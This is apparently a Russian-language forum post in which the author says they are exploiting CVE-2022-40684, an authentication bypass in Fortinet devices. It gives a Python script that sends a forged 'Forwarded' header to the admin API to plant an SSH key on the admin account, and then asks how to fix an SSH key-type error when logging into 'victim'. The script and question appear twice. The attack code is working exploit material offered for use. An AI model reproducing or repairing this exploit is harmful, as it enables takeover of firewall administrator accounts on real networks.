Всем привет.Эксплуатирую CVE-2022-40684(auth bypass в фортике).Написал такой скрипт для подгрузки своего ssh ключа:
import requests,sys
t=sys.argv[1]
headers={
"User-Agent": "Report Runner",
"Content-Type": "application/json",
"Forwarded": "for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;",}
payload={"ssh-public-key1": "\"id_rsa.pub\""}
r=requests.put(t+"/api/v2/cmdb/system/admin/admin",headers=headers,data=payload,verify=False)
ключ сгенерировал так;
ssh-keygen
При попытке ssh admin@victim -i id_rsa :
nable to negotiate with victim port 22: no matching host key type found. Their offer: ssh-rsa
Как исправить?
import requests,sys
t=sys.argv[1]
headers={
"User-Agent": "Report Runner",
"Content-Type": "application/json",
"Forwarded": "for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;",}
payload={"ssh-public-key1": "\"id_rsa.pub\""}
r=requests.put(t+"/api/v2/cmdb/system/admin/admin",headers=headers,data=payload,verify=False)
ключ сгенерировал так;
ssh-keygen
При попытке ssh admin@victim -i id_rsa :
nable to negotiate with victim port 22: no matching host key type found. Their offer: ssh-rsa
Как исправить?
